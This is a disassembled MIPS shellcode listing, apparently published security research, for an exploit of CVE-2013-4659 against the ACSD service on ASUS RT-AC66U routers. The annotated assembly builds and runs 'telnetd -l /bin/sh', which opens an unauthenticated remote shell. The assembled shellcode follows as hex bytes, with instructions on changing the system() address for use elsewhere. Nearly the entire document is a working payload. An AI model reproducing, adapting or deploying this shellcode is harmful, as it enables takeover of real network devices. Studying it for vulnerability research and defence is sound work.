# Disassembled MIPS Little Endian Shellcode
# Shellcode was designed for ACSD exploit on the ASUS RT-AC66U SOHO router.
# CVE: CVE-2013-4659
# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators
# Blog: http://infosec42.blogspot.com
# Company Website: http://securityevaluators.com
#
# NOTE:
# In order to use this MIPS ASM elsewhere, you will need to change the address
# of the system() function call to match your environment and reassemble the ASM.
# _ characters in the comments below represent a space.
lui t0,0x6e6c //Loading Upper Immediate nl into temp. reg. #0
ori t0,t0,0x6574 //Bitwise OR immediate. Putting et into lower 16 bits of t0
sw t0,-20(sp) //Store word pointer to command string for execution
lui t1,0x2064 //Loading Upper Immediate _d into temp. reg. #1
ori t1,t1,0x7465 //Bitwise OR immediate. Putting te into lower 16 bits of t0
sw t1,-16(sp) //Store next part of command
lui t2,0x2f20 //Loading Upper Immediate /_ into temp. reg. #2
ori t2,t2,0x6c2d //Bitwise OR immediate. Putting l- into lower 16 bits of t1
sw t2,-12(sp) //Store next part of command
lui t3,0x2f6e //Loading Upper Immedate /n into temp. reg. #3
ori t3,t3,0x6962 //Bitwise OR immediate. Putting ib into lower 16 bits of t2
sw t3,-8(sp) //Store next part of command
li t4,26739 //Loading Immediate hs00 into temp. reg. #4
sw t4,-4(sp) //Store next part of command
addi a0,sp,-20 //Store "telnetd -l /bin/sh" in reg. a0 for system() function call
addi sp,sp,-20 //Move stack pointer to "telnetd -l /bin/sh" string on the stack
lui t9,0x2ab4 //Loading Upper Immediate of system() into t9
ori t9,t9,0xf050 //Bitwise OR immediate. Putting rest of system() into t9
jalr t9 //Jumpying to t9/system()
andi at,k1,0x4132 //Filler instruction for branch delay
# NOTE: Assembled shellcode
#
# #80 Bytes system() Shellcode by Jacob Holcomb of ISE
# #Calling system() and executing telnetd -l /bin/sh
# shellcode = "\x6c\x6e\x08\x3c\x74\x65\x08\x35\xec\xff\xa8"
# shellcode += "\xaf\x64\x20\x09\x3c\x65\x74\x29\x35\xf0\xff"
# shellcode += "\xa9\xaf\x20\x2f\x0a\x3c\x2d\x6c\x4a\x35\xf4"
# shellcode += "\xff\xaa\xaf\x6e\x2f\x0b\x3c\x62\x69\x6b\x35"
# shellcode += "\xf8\xff\xab\xaf\x73\x68\x0c\x24\xfc\xff\xac"
# shellcode += "\xaf\xec\xff\xa4\x23\xec\xff\xbd\x23\xb4\x2a"
# shellcode += "\x19\x3c\x50\xf0\x39\x37\x09\xf8\x20\x03\x32"
# shellcode += "\x41\x61\x33"